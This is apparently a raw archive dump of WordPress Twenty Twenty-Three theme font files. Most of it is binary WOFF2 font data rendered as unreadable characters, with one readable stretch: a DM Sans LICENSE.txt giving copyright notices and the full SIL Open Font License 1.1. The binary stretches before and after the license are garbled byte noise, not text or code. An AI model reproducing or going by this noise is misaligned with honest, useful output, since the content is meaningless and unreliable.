;wi&!Rh1bʼn'p1<|q6sλK.k[Ȣ>KP"|&m$C; ܰ4r1nI@RqJj d=wq;Y#{}gs懅N)z>j,82JMN\I5S  d^/ :D&6v(bX,cnً.L<%lol%bu>] ~@ap2x|=δ ~'9H7JC&Lo'ᮿkE.A`G + a)E%ZXq%$=Z!w, #V6vK|*͢FJzW=:PGb+FI0tK,Qh 6x"L &H, J242p܄@apх  d%1]X,1zS4orV[%e+Vu;bF 59t#e2Ğ&WGHWD$dT4t L~J`qǜWxx$Δ7n[%e+VulC;Cg&%7!p],F@+G 5iRYJ-U#P=wG Bx3ܛر}43߲ڏl3%i5n3z+(EաNߩ2,܌:SA:WQ*˔+RRR( Jҡ(ʈ2̨PF0 D`"1QhL &$`8=q(+ʆ?:% DZDu*N#`%_vu4o.^K[0}H0 0 #{?;/y3߻_$Ғ$K*M dˉVmگLv!4k]T{ Y0vFfH񕠗 "*`./LP-C#n Hh_ݍ´3o$2J3,6 "D*+*Fk|XYs)]pHVR Q^^sw(_ |Q~I%x<A[lٲU([x kD{6.Ӌ6 w\Ta͞Z-CQ'2Yb^I~yhu_&"&!%#g`dbCP^1 CD+N5f#\#^#®,+Vu?ruM1Rsگ)ZIH&](4K,E42dʒ-'| )VTr*UVVz 58 q1+P$ ɂφ~j 'Vz(yBٳny@~ }~~?ٻ]FDYZVKvוiC|k _ABc{>'B!B!B!BaS8!B!}_ A97!PD٨XaJqdMVJ2>9o)~  d&"&!%#\{NUq H3~_s 0b,lIGE:e #(4f`7eE-Zi'>7f[lv;{٣0:x܌4kμG/7!PD<7 6?q`+XV<: ) vpP( @AAAAQVmڣ{bIKM\4pԸqL4eLl$l[m/pС8rQ{]pH:Mß`2GC j^n/|,jB.PNw뻥—e˺!= $B<]-Mtjl8q-0)2XHq:rlWP"7*U)Fn)IzZJAh߰cFH2|uwTXLpZ-<םv"tU"A;WW?̫MH߈=emIUVP \+?Ͱ )DQHC' x"%dEEROuǗ(&RdFl713rI~~$"*xA+EɆRp?kcSRq8]ml5.6a=֔^+wlFR3Nj"IMZy#ΝqvkYMN ZF$rjM 84/AƐ MgeMo1`G 6<smSz$y.eEy"%4ܪRaOx2Tnc-")"xX^ۀ:Y'GCM˫`Ж:,0ճ'9L o7Д}~!yfG )* 7so5GSzF4UAor_r0 p)n*Lh"1A.C .`N&e4RstZt(]$*FR+Gx q;wpgMT.-9 D F[܁r'B 6<Ib9/[DdƸ2 :'f^,H dfHh!_aT+8IGAlTVPIP\6jP5jGljѤH} YɄ8`k8  @dLbv]^v1HF-؍'/J^%ÓX~#WY:53pE(PL@--v*-P|P mߺ8)rdr En0AU%)L 918a0e$sxò@SWa'4 :EE*~yzb4^4p#"݈I~dl ½pnH7RB3oj^Gs fBDoD-H[_[` 7XyЬq颟2|@-~SZ:֤-8|n k]ds`V.*Yȿ*ei6QsەX^{krba8 K R_&!ϑ(w}$m6>0[MJbǞb֮{Lj{\F~gsKiZr?y%Z*`)'XF hCSV_"| ixl8 %qJTX_ɦʱR!C}BPU[Ѐjxls@M<QL() {QTŠ7>4Gcuy.5mlV(%n8ҬG GsQkVsOpjc7'kY;ճ2nq>bdFa/Rvu%"}z|B{f*|'>?;߿3 }>.}'^֚7I,ebLc;OvMyEb BU?gТ:+"J4R-R)ZunziCp8iQV"ȹ 1Iw4a@0nʫdD*P yQMl': u m"BaLX4"9uDAȱ=lýgsJߔ)SJ:8 Xp# PIRA+e I*889otA$}1dnO{~;as;Bwj 3 Vo\r$* LZA, b37 A[j} g;Ypy0!XR5ŭ۵Z[Y6jG4XM$P{ۍ^[ ۣ ,  =o ?2B X(qP!JP$J%j1H3BXa8|P#DM!v6 N:@09\6$KTQyC(З SqaFN,h!7DiA+ R| TF,TFwɥA&̳6;lsId趼6߆"!h0w,[ -m\;@$zAKOm,y0<8_egDNDI%0 {\ÃBcM.AVW#GŔ%hA2ײ{rZ:"Lu s%[]mZS-m0]^1B"Yn{8\e tT_0~4@L6`"-^ 7/5Mx2 C U0Ξ_jZTHQ0[}i@v6NDLR$ͫ)&JIgT 4۹P)7u T}w;@;uEv}_.,B} C~bɏf(;@t`f?l_>BXd=у׃wPX͕_b#СC9HN2`!.y6 ߣې^~g P"VWT/U~k8W#H8Np^Ľ x?@ eN TT2#2mfV(Q23&6Rָg/Q<B{4^W<^"ܞ{c7n>8_p_/%J{7.Y?|l[\wXMfϱ!cf&mkDKßn8#3;@[٥N]Z_T:^e{οv&[ֶvң5vpO'YQHWt9r(R"sA[ZFѨGG|l*KjCt'K]]n/;؅siܫZc`!0( PDA9c&LQZX_C]Rm1GuJ⼋.W:=Э*0^za;%Gvr]%.v ,UPeXibFfj,e=V]N\uZ垕q&c~[ 28ocxcx&iZv{#; fSyDIy4I/ztԙz/W>Km?,QXeNvjYCWJ˫~mxGD)9Ml+3>-[5lԿu005 5<1/1?8+~e\ TT@w&=DT]}"{y0C{KŤF 3I/aJS_1s<V$:C*MK|TKu'E -n{O O]? ;WpM:6з|#fKtfP8Cď1$՝tHvonJGv+YQԁ.w]4>D}eZQ q5D'\ Z:]D^~n;.YPu@әqY acdR= bj(zc i9azsjiPt@ R7Vt0]kڊQz5o&Q0ys4 Y, v85*F]e^$b~n19aL*#$)6%pV|t _BQf4Ie2줗 2:iX_A2\TPd݅>YIwC!zz3`9P 9,U-ŬOxeJZf1<#,j|򨘟5^LPPF@D4I%&F3EsɠuvPӗ._b|(+?RQ>|*67P ZjZSjڡv=O!8+:J(z9:FEӝ Wӆ‘S2x-NZS0x}K!G޺pQSh0=F2{ ]aQ3kYToPT9 ډ2)?L'.6_O[w;+ 8} h5.9V!Od gJ.:G!-qLєX5cc'yct:ɡ\NxR0u6_#rSТ-w< ,\yro!yŃMtH属g~shT҄LAu4=i,@-Oƌ7fb@엮vܞ46WS1]i﹝_Llo]eFk/5^5xFolTF%7h0ߢ#(FL!1F7JTLFa}Ǩh嘷*&~\vq x uUaj( _{wC {3qm4-NymǴ,zyfMim.B ѵ8=!:3aDQ4bí. fzZ0ֆ) K4!G뵷Jλ,<2UA*-GNbLH->$ozQ&i{xz5矡+~jo>ZUnPqbi;O F@pl/F_~&p7p/z5p@ ^CAFM9[4Y7N. j/4XJ>Bh5/p zd۲$ЍٌvJ5L){OnV(z;=jeOyu_J"0;|a})3*U-(MjƮTy{Dw6O/In}%u: "qmQ+F[( LQL٨T`iѺL- Jhv0x?a,4QD~ibѢΪ #𲯬=>xlbdL#5jz8 UI呠H,[$awtG$*~ ;zMq+4$w@}t^Uc2AZ|R堷 K*,&@eG̔L+3K9ܟzHJEqCvDB:h'ɨz]^J70s! rU$էaS; Fbs~(+a1rS5iN\R}JvO9-qs}}pq#X6sP. qS- LmyIISs4UFym&}LaQ>zdqWuk~y=,PvJ7iIbЙI^d"?iJT\{.G_4E>]W{g?,b*"*x$0ɥlJIu k'ճ6"Jw:vNkC,Fu!-oScTPF MRǨ +}Fa (p[O6VP6DI[,f ČYD^yz dno&u6 ҂@B(δ$Q{ f<:JpXiȔxOf6]J>wH͌\1*:){4~f-t0u!ˆflyBD׊ctF:%-[؅wܮ ?[3yJ3+;%K&K 5Gl)\>r0D0Dfqb 45y{1.Df̬nI.RPF'lbSFO=O^3I4B,Ф%^دjjЧ inx2%Qo)Dʿb-Rm#hmF)]x-U*-Ws.ڸ17"68Y,.*qB_J7cq) JGj98Xkl:T[d֟y:~n(AN`YKjqx~h Nͥ<hK\DV|A8I 1}‘+{4`C)(!ab- ZpM|`w2Et _4m!_uڛWV+ |/^|xXy1S"*&)<#>հ7PsDSzc/x)D"6vP М&B4&y'.+&^J lpZ% ؠ9%`9& Y 7kJO wf.UJL9ٰ.׵iL+R]/(HT|Q&O|^w]xytAy6>s!PAٌ(:$L16 Ri2ݚʲ9ɉ28 y}!ĵ0O<]RH ̣A~^q6G86 4ˍ^zj{XirDbI$^4 ̴SIQlV8:r,0$ Eq4\Ք YH-E٢9X"$r0LB,XXАhQ6ZLC[hQeqEnb<8% =3 B匱|(2>2DT]GFyHڙc.Lr>$?c>$f#򩶼| UVU=Tߙkrh`XN閩VddI,˴uڴ%[unkN]=X6,9_v3d oKW6ݝd 661Y)6Hu`-kLV@޴aݳ뻃qY#'^ dBY m фi 0yulʕx5|CVYKz];G`^ݫ,eQR@'%ҰG ^lyofnG㝄+Wi\+ƂL-tJ猤L}: /"ϼ5P"¯5J5k׶zTƼM*X+⯵ϐD1_ oCWBO>)/@:"~\$mo 읓h%`صunܨ"M(Ƅ=X{]fzx@XW@'H^Mo's>0R {'s1`R6l^mmF}N.轻'/&p%is))*寽_A۸-7wTx ۀAi 3Aa 56SF}DP?CFFaQE!Tb^t¿&^Iή HjUo4&ԧLIZi|kOA(0Ѭ>ޞr.oyh^@z/2[,=-rpB`4'dzШ֤VHG4koa׿%fY*U"ɰ07L_yNZ'U?ə|F8iwg4B$vl:=RoQSPcu=H)d "Es -UcHFhw93+Q㵣Rb 3fhL]DAJj#^9K 㕊}gAPyyK̂xa4I.<sA\#z=/܅\ZWbY(G?ɍڂ{N-g~w^*܊hogT'pg~= ~Lp ~RX- V =!&m>Z{(pR/x<" E}|O.|ov$d,Q&Xq HqZ@3u7 DUi@# lsX{6^n;yHS'(x ,U!$ 7{]k.ZnY0L$l.%4E_uWw>7y[; ڗػ@#Mv5'*t}8!R*_-u7ap\bDaܻoYV~S#!{_i]ev'lj;Y.ߠ(rqlcd0*b "|s!x?>%/p?d]=x%B,˫.kA4 ) =mjY=ڴv}9?X x$tȊ䑲kϘh2 t"77Z؂VrͰeUP?7΋:imGpTrewByk'K 0OJC{d 퍇f\VqkH!ŁZǵh$ e@l}K!$;D: >fy+:'قc^4ߨ P;(HcD;!\63M0U4ipDn~# Vnlsڣ ,@{v]dx«Μ2̤yIh0/#"TBLhx+j8Į|H5}ZW_y} )Uidb+ԙ3Cc0H+cH2&R!;Y q ߃a&é^.{I9]Xxe{'JI;rs-r .X%:ޙ%].M=^gd9u'\CϾBJfM@jKׄklG^(+|!#_CFY{ʚ/ijt`x 2nnM%94ʲ i1zf ~Lve'&;|f#)2 =v=Nbzd/:bo|qsg HRPyڿ#%fY/D>cjMt149@YE&I!Sr硰S_(d e"&2-(7Eqo#"q&0̈q e2J[CKq7Ê+YtsB* ZbkhUbښu.c |@WC!G 4T*Z:JGSl}2SnnGkoOyfbn,=ԙ^T9|ƥI]6"jiضOf+n3++ٟ{|n`k;1&kfn2۠Tz~:5ŚNبOXj/`ow||-|_cSnhfO{}>Rxlۼpj??sZΛy7Bڋ+Iă0#ôR[şQݡH`2tgxuDX9̖+ͫą uȎ䠐I_6B`CG2z6q3uJk#pEVC;`GT8ࣾ{>vR@syHD Smޮ0(=F@y@)-!\;$y飩g݆lLj2oG^} Y~Y~?!'gM(W'N@V8 {ZkMbJ~ u=G/f맗M(u:@(' X >?dzc\j6|nZ S| qE 뼨C4ozp,eW}d93QH'yCjKV ҉UepnC~r~ۛr5SmzĎ;~rsJ5ool' 鷮m}0HcPT< {&:/CT}UUVD~hVO JwoYl`ơu5( +*ŒYs/LOU}>\l @r,ѕMJ<TDy^Z8hXUĂaVe/ıwTb?bhK͠v﷟ލm0-q6ĭ)u5VWD4gZH9HclߘˁL)o*f]hZz)3[ !J:,LcnV,&0>5#~PR Ķ Sݍ= Q\~[ [灄ܪM}m.^p]r4Xlkǂ"ɭtdh,Yw<8ꔎ/`RjJR[ @PKμoxG>vSB%x:i42'XnV^@ẎCJ[21 -܀Ų{s81L[2>NtIR{^7B{r^;rckЁ5̣/!\|jDG&P8(O7n\w 2˙u6|՟6|l,:*UdZ<Ʀlw~Ŀ%E.l{2Ɲ5"I621$f@kk_ٻON&wQ2\"hVnd & @ je} }i;U/j>,/-3\=L1Cz _NJ>$:1 iT %HY}|KCģ3]5Gl9F M9oߪҽ;{x.5X cRH= \ORN,rx[nXӯ3ݜ"kI.^5IC|{Qt"Ym("z}pK0-53:/zE?=Z9G@oϥيL^Ƕ){O̻dV^={An(DܩEXo tz}z#]hJwO|sds6LXhI<%5\`R滸-iH*3*-O[zbaX%H߹0_s:5:ʢo` gJ^aYUt֑ou C3K Q^[ͪ@z U2UĞk*ԎS-<:K`3\LWRZٻ4*}szU=*5dXYީ~bluyU) 1JKhAqS/V>"=ҧ7dt%F%n?K쳺v`a9ǰgw麜Љ\zf _sxn~xysgtdۣ-<ﮌp7B `޺vᘟYWkg_~x7GY?fIRNzgRT>:0bwsdj}W09߰3!"s"="}GM5ݨg(}߈]iJtڦ $bKX~pMƟTT#w8$|FRI%51qG1n L4)lZ_s(p|V󃀳9,(8ruIHomd Gl-rVQGƋ;=|f^.Ĵoqv:Gv`>踍nMիFR=qӧ=+B^pvfwceQNltY+= n=O0j7 ^\G{pZkܳwTϾ̟!Vǚ.ޜm-dzĹRq=lv/s9 xl εE@a$6&U !Ak#njྴXC-O{R $s5m^6m!δ̇g:7 s@(r r^,,bKcYPY4mx;Kq>ٳgf0@qOb}Ht€sf.o+iR|%+Z9¾-Lȅ+޾8`f+hU/kA B]߹̚Y4mz.G;c5Nz;RVcP܈ iY.21eXk,Hx );i COɰvC!ɿɿVdK, ;Mdy:/,E16]ZaS%ʨ7q}[ؒ(-)w7{,z0.@*X2Ǻ80b0%1z]S0-{GN[J>'\fCfq E:vZЎlK1!<^pb55x#fC1n dR;,$Cv5*͑-ZR&+Vu"qe\#R0-!~,lc >\irjlf vhH#i}\IY!]*~DM7eZe| gt~t"m= ce'Xl|S E &;k &頄w1䱬teIqu}*%,1K L/ ČZ[3 T۞&hs246zM WRN x27LFQ3܌@3 e0ߍG yZۉ  5A:(nOm+-JYRkrNw-ֱ_'mNH{z1Nz ʲǒ^s],4%&9\448=Y-OZX10fsIьd3̄ [w `Ɗ3ϑ[ 8=/Na"9!y&$-DH *)lne%QhkfΗja/9l@褏qGGq.s C -.n\'"66{oۦQq9Y][f#c[Vz|@Mlaijdz0~!Yت#x[5 X ׸iX@qo)E'=z])PqD^HRzDvgW 4yģC[4ҩ5)#|8u?\u6D.gogʖzѥc qr`ݖ W3Sole^OF&e},G`CkQx)1{r̨qwpNf+bʩ0AArt5 ~@. XυOTf@IvAb Uױ %Xn bQ3J_$u ՆA,}[ YpZrfI7n+qVws% HKّMHpE;o^ Q{^;g@Xnc̴]c0+]UhoaMW4bj.{+m7G{iS$Cgy/@PV|CW= 4%ӊ:ݱ9XaOfڐ(k%)8 Mm-CvS b[TK:(9U}J9:Iߓ2 5!Ϙc;eFwiՁP 2m b4RmZ,Q|:84% .jNٙW$oVRJ\ 8хEk8C8uO,ժ.$Q 7ZȊ/_}ʳ$r,GXKM~_GAj.3z\pMkVkkL4mMMkv"|7L`ĝB2K@ʠc{6ABvBzPsN[ =mxkJ$+@# 8C\Ix ƥkkɆW\s mFNW؎⫖1kIX4 ܌ [*۬]*^.XfcCD`鈯9S+DM*?8ZƲB=X4F?$eaLz>1Sr5" ,azӹO^D]93Uw"Z keDOnQDs(!;aQ;e~_^Ys? Ò_0 OW(3LKU׎~c2{&M+VY; 5)Ne2JEYV8ա֒$u)A93hoއl;:^2-dK{G)k[cfܿZuAz[RS~ 9R!E6<8^u;'e9-&4׳@Fc1)g@WUB]w1mI)Z #81n~+wtKONbϗy ֤jp]>(MuG$ ɑ5E2Ha*pNA8+^ `MdEFiAm(p [att@2 OR˜Ԟaa!,4) s5tPŊ@Ѹc`鷰]b -aY;JQY!OX VNfmЄ j5WLb,-ޅȎFm܇~+fj/.PR:/gtQ( ~ҝ2ۨ 6˶*6e+۲ï-כq"[`i v{w2KG/=ۛiwY\^p] ; VJEN"Lմ];hn[7X g<5Z_5Zgdwt?7=X_FɾHe93tj^h9tv[ңM q(>{wS CY +nP_ytnH5F>]#Y:F# YC eC+[9Wԇz`[ B>S-M8?;܉k_s#"R2gozN+r_e@_=xv?IC i㿇J;?z%ta5 >s }b4Ц{_YM9>/MPAX`>:uROEؤ, %kעРG!SYY{HГMe3H;g7}W1LsO~ m|~ܲS*D}5U0vѨYmɥ>`O qR1(:5P DUܨtvAJ?PΎ{DٗޘDa'X3{F5QԬ|?`"#=ނSGȺXf D\I`6 a-ݎz1;ԋsܿ A#OrAdC*ϵSl`Iѵ=Zdφe/,y4  yS& (fqE8hL*OOW:g2o4yͺm^n`ZYmXWTp`mlN9EF&ܢ-˭(4eH@SW; Nc5!KZAi΂od6t'^-XF븱bmxvnN%Ƽe^ %~EG=3T)>ggy0<ӹeao7ǿp3l=ݽ-ߺ]]} v9RioΞLk|%ΈiMMfAUH[@A^ߏ`uPpY`0 0Ƃu8uQ0Nɑ,p͂q0 k,5C A 3y'upFtlQm-U3H2pkJEūyX -Uѥ>^ss534أS2>? ie|.F8u⊮u2ԭ?-#kI"L1zTFu[Kbڢ۴oAL uJ1aBC F_Bt΁Zg.jqMi{]a<ゴt.5ܰ.+ U R 870ɜ 㼁S\\\%݈G)._=fu*ṳ ,`s25j=0FtEϰh.żEgnxf}ð^̉d3X8 [PY}{?^;ouӪ0@r6X=#]e;><<ÂS ȁу`Qs jg]p5LP^`&0U]NLjhиj"8{;Mw2J-z bgc:'3s⒐Ƌ !Ku$I,9x?z$^^wwgzEU}nZu)k֪]ŵ6cR1pM7h٢e־Mv2yu0axNqؓ<ʋs4-a#Xtfu$Is"-WPR^eZ?6RT\r6OLNM̢NͰ/)su.r5]J: *: ]RծuTZYUUVUu5jPd 0*s)Tt:d\V! ƙ+nhզ@'9nU_C𥢊YNʕcBY a HG[>Z+rNpV*t.NսOTw=׃{x|;oo!h,'E0ӕ/HV{g"UL8<||7Q\ML.RЪ`i"4Xs `ndT^m3b?C[]K:r;>h>RKe>W^S5a8sCdnJqd)ʨ623ZnU0'*khµ)a=.,Tfs?7̮4ξa|=llyd追:>[kt+tS!}.m0̎.ܬ) :6,:_ӞWn.;nSCCl;ڽ_l˺D3sɦ-]^, ) 2F+M$? I%Ċ;"Y }RNfϱ 2ڨq@E.@jh74; ^JFqm/eS%0z  I%U@ߋ % *h)KQc[:hޟ<~霄ސ3|dT8|;b@o+k [7JW6}C-:$= /݈Þ4uMZsߟ {w p܈i涨Rodk-n5xRl7Q9t9c:@7`weS01O/&w&K.;0έr@񕇸!{y].(A6eݿvu@7<Ptv޹Al~ i{ y8#GAI_| ,f~L;themes/twentytwentythree/assets/fonts/dm-sans/LICENSE.txt000064400000011001152335264760017514 0ustar00Copyright 2014-2017 Indian Type Foundry (info@indiantypefoundry.com). Copyright 2019 Google LLC. Copyright 2014-2018 Adobe (http://www.adobe.com/), with Reserved Font Name 'Source'. All Rights Reserved. Source is a trademark of Adobe in the United States and/or other countries. Copyright 2019 Google LLC. This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2000064400000077354152335264760022614 0ustar00wOF2~>~T l`n`  \c6$ N nu =[6&qk]Wz*5kئ`~=7I:8@/;Nqh;@L׭0gK8auSW1%9:a9朝 )ʹt94BVUdJ9ti֣gi[|S{nM˄)m)Ԟ!jD Е'ol6H)gPȾAQCl=̍oDAz?)Da FeFp"T)> ~_hʳv}{巨:QCG*quf^UyzjUgVTѥXHe X|$BEJc1h'_)kh#F ܂m"p#FmemUܪQ*(UF}`Qpjfm*{HT!T`Gc" !!&8[a׹V7SsJ Se[ȒIq׏}{m",bv U 5 wT4BE,XmM R_*il_1 </IUxjg cF75N 5I~7a=%%vjeoLj!v,OM ND5(Od<%,ᆳsc+/{3 0$_ymYSW乑Jo+,MnRh x:& RA doiZul| jQ !JbS[ԺT.{k*eYj lMo-@L΅{ڇHy$\JOLZìa6=ݬXe&͉u ЄwjRgÀɉu#cCtW-Ns q֕_{A_s@a@R-aSj QkS$9wQFnG@7!!"R3 h@j 3)ɳI#LA En1RsuW>}k{HJ ؇8Mn~p84=_tL2EPc!}+ |>f{)ZCM<,IQjɕ%ԤdW4ݥVaLN6vZkN(a - n-!baPIX~/eHEm)R˚}TjW^ԇ4!!q|}?Igݟ-}F]W>Uߍ|K:ƒ!""$v*Fi{D"* (~k4#Q D8)P9 ͐vt 64yl3d)y(Ȱv*PyATEo#Jt#(.\7H0xkB%G`B-w=]hx D_, v6fH4:wE>~nO`9ڀ/|-\#?jyJt|" W-b:BT8=Ԇc~J_;npLBeQH{s5|+'|s?^d5/v17`犔6ݿ[ՖB}m{!D'7Dv ˎlI]b0C6 ia]]PG2'y"Hp=|Eyc@9Ah/J ?mK}h}KJ},%=Y ϡ\fLUYƿLa ]g˘|FDv u#RG ],V]x?pY7.$# Q-xmd{A{2X+7D|<@'cleK|5f ź+-`~pa,υKFI.Za|-Xe6T2. sy#!_'x,bgq-ɞOq_s?r?<2&'C=l98bTq1r3mرL.7`9xى:} K}Ey~"Q+uOU_I͎R`{,}TfqH/_rp<"L;Ω :tsukzvC:<s԰Z8U5w .mk3 c]Ael7o ߺMpp<x[)?VRUbx*JL zdZMJ8 vpm (蠯>&2!& SijM4,3jM=&0K$ ίFot)_;~?'*?$Z`q dܜ3L. {Iθ]D׃2 _Wu%' *P8#` C| (ԣcuD<=9XDB,;ehҍJI䴬R r8(gH](45eh%-1%)ېr"dާ VYxt8 L픚(9Sh˱IY]yX$nOENwuUXDF/5=Aq 9 DJr/D M0 $AO"Aƒ9\2H.F DkL[vz?R(6U,H@0ShQB!L(df;(2 >Y{8Je Z 9Fgq!g5 G+x[4pPVV$!S4eA@LscRP#^h֠-Bᶁ{bI:iK޷ZI'7SP^ny!r"^+R]Ppjl *ɨ.ZiIwzWkQ&VL 4 Ȼ}@0*OT;p&w /#@-PsPO pu*e4oZ+~U(DRUEqb%J)WRj5qC;ҘsT#k{`cOuL 0 #$(4w|~j\H0 8RJh=;S;t1id&rPpx CD/\w)Y%k]f8"2 > LB{6$VkZ25&1R:2kA&Ylu6z~F#6xBC7>պ_7n_e@1.ubȲ G$JYl@:Jg1j䳔ܷ2bPha5go_`૕8a-DTNM?.U$oqnf')A`OBH@ɂ$2J3,6 "D*+*Ms ˲ʸPwFwl34#4zpOCXDTl5N3uʴddIvӧzU?0稌;ŵ\?ÜW*")9 -=#3 +;'wP,n H!,"*eR}4)EKer; AIMt#鳣Á~xP--*5jtMf׵jU]jt,j1n5 #{jt2SFq|nCBKmJkE ߳JGW^zX~!PHVB|($k/+ۙBK;rSORomiҴکzk @g89 $E Yr)PL=w$E4aQ[Qap,l`uwADDH*d jr>k7|B&okѪ@5^YSN4S=F"J*SB*jrؑwƩ. +Tt'WmS1'Fnf*ZCC 'Id Fg0YlEbT&W(Ue5$qA,O^x<z,,"*)^}3ەY!;PHQ 1?TіІx<^y;s*[vI)hhYX98ҍ`Ӄ 6d-fv<7CpXH"btfFۚ4kZڞ"_EFj=2Xy+t^ T- $ "L &Qާ|#eD*+*is X^ntX8d5K66 *' J!]T@HJ*SE*500qpIH5SRA`v.(7GzbM_ tY&%6pK:XlWNvxcמxRipuZX`3l۱kϾzj $ @aqxDPitpy|;6Bsњ$R\TiFŜ,) b%BY9W}X#eƔ|򥖰 qp PA ^% ;jUjkn3Z6ED>ΒϏW{[ʙtqi|EԕM8fLN2&M[IS -=#3 +;'w)VTr*UVo6f7`p™D/;G;mO[4d4tL,l\ܟp'H$X,O *`./{Q-I, JSOh;7'XP2|~ ^ߐ$ʿvWشeێ]C!CI"I)hha$3 +;'/XeYeYeYeYeV#/E\vUpӝObvGz˗IDTL\BRJT].lʰc ף`e+m\'RtiYh4Iڢ۴$"*&.!)%_^~ō0ǥ(_-wlg/ˤ!#ьbbfaMY;VEZm/B|!aQ($*RD2*TRkop#tAvd`2`]rW]sq!#'_?1]ROn3L4bFfe9oYl0LffaecP_ue *6%\^WHRj8xi#ql'W[(63wΒgnO~󦺝wyO$IۖZ( jȖtap-7Ȱp\};};}sO<u602[F4>i׷k@ƾ'O #Vƶ;I|>ʕtQF,ݶU۴]/F7Is؂R>bOU#Cm9g姫)X[JYt U\wHv2LHQcĎ7kZ@LpwRB lc?w|=BKEZK|xgH:-j t$o٫7Ε|mO|JS1n)QyŌ?ѨwĢ1ˍWx)a}[\Mst"~O,A)d.f2!;25vNv\ʝsY5;\;>~2̎O1K9n2Dfl8ףi9N~}=>ݣqL/]>3#qW pqQS0V]3T){AQok~w@eA4 ^h1$(ihtŒWT$b*2=/>׏! tc ƮڪzZ/qo5"Cq(#nX#NU e(efan>A"I)w8r}sa2a>|JR =~BDI&G uZ@-='[w_GT5q 0 !#$U> ` (Tsuj~Bx9-JOK˫W"y{+U!x"4 rQKf=a%H~[L׳eNޕCw4_*16ts|SdaxeB̧qs,ƛ+ӨDzΊ\$*-ae9|RN<_ ̋p&se΁mvi5?=>У <kbo>LI>IIɑ16mpm ֿ΍㱼ˆ~y/1DrmIfS^~. t/8 ٴ!¬ʉvL)~]XIL _'|EUպҪXg$7q8DrNE*L2Ɩ9EHT߉F5ʗ72{ܛyM_wD0mڔtu8o+ uoE"'wvo-gzҙn9krLL_ySuU)hځ\zYJ$Z[{[{ZwܨEeL:韫 '֘d+$Zhk Lz:p};޹tKI2#)3ɂc}ui~Y25"TǗcƊdZSPjI#_8CkaXtMʱ;[Ŗ$צZߊ_˒MOL }\-' ^փz0\`CN EIG%GʬGS.# QA4щD7m~7눣]GW':fRi2sx>i&:( }&Mos08c38Nɽ^>R*m$<:0wB_^gFiu[ζVqBqMsQFg-:P g0y0$xtZQ7)^j‘yw*Lgdq(Ku#vkWnO̲XVpqϷr0 xUAt^uRK¡C8̝Fbdlu\5S3kJ*oeF<'SpA\|5W>n׾] aK\)Pnz]×~o`GxtcxF&hVWq!0U!~5QҌEqy-93? ON%"&pS{YbOЕeWն7Tˉhyx<ͧ]Xbѿ/1p<; <ˮ~?<LiDt#tvM`cwM0_sL9K)ySu;K-м*ʡ1NU"L 5`#8O1mv{ȷ.#^9u-FQ#O}Wa(;VAl{R2Ut]y2*kͬ䙑` Fyk3dDWyrD%#rʕs^[ns˰ Uj+^x+r8ND!q%DTFJ9%:CAeМ-U4]kd:M֨&6b;@g~6n7#L@x شPB̈T',HFRoehovA'YU{Xq]obvVe '*.=~W|Q[tγVnuƚjZqg:]voP<3(9ϘfϵmX}7 no¨oOp ׿qtҧ)'݄®>oOM:&͇GEg!\kcE~N[uJ5*Tf!㜰# ݆AWsC:g9/ 7J = y`r[d%k{jE\KD"Şz>wYIGǜHkm}ZEړa8a8UE9, 1es"-bb2@tf.I# D򶈑=pl͉v̓DfEťMvHlhQX5ƻ4@ ~2JgBv}z̳stePr3{Gu^'{i}禝6`+|{)3 k6yզ/ ilcw?"+<ڏwb`mcJ|9OyֶRUY/gd}y*pw5jLʕp1K?{@R/ jQ+PFQX-5@\n06M[m0vڋGAݐb(u2ExBPpH aBmnF@o捇ҧ@vT0r9:j_:"]NCiLhfLK`8*w䉼/G{b~vF 